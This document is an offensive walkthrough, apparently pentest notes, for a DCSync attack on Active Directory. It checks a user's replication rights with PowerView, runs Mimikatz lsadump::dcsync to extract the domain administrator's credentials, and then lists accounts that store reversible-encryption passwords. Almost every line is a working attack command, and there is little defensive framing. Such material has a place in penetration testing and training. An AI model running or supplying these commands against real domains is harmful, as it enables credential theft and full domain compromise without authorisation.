STEP 1. DEFINE USER' SID AND CHECK REPLICATION RIGHTS¶
-
Import the PowerView module :
Import-Module PowerView
-
View the group membership of the user (e.g., user adunn):
Get-DomainUser -Identity [USERNAME] | select samaccountname, objectsid, memberof, useraccountcontrol | fl
-
Define the user's SID (Security Identifier). Replace the placeholder SID with the actual SID of the user you are investigating:
$sid = "S-1-5-21-1234567890-9876543210-4567891230-5678"
-
Check if the user has replication rights for the specified domain:
Get-ObjectAcl -Identity "DC=EXAMPLE,DC=LOCAL" -ResolveGUIDs |
Where-Object { ($_.ObjectAceType -match 'Replication-Get') } |
Where-Object { $_.SecurityIdentifier -match $sid } |
Select-Object AceQualifier, ObjectDN, ActiveDirectoryRights, SecurityIdentifier, ObjectAceType | fl
STEP 2. PERFORMING THE DCSYNC ATTACK¶
- Open a PowerShell session as the user with DCSync privileges:
runas /netonly /user:EXAMPLE\[USERNAME] powershell
- Run Mimikatz:
.\mimikatz.exe
- Enable debug privileges:
mimikatz # privilege::debug
- Execute DCSync:
mimikatz # lsadump::dcsync /domain:EXAMPLE.LOCAL /user:EXAMPLE\administrator
STEP 3. ADDITIONAL ENUMERATION¶
- Check if user accounts with the reversible encryption option enabled:
Get-DomainUser -Identity * |
? { $_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*' } |
select samaccountname, useraccountcontrol
- Enumerate accounts with reversible encryption using Get-ADUser:
Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl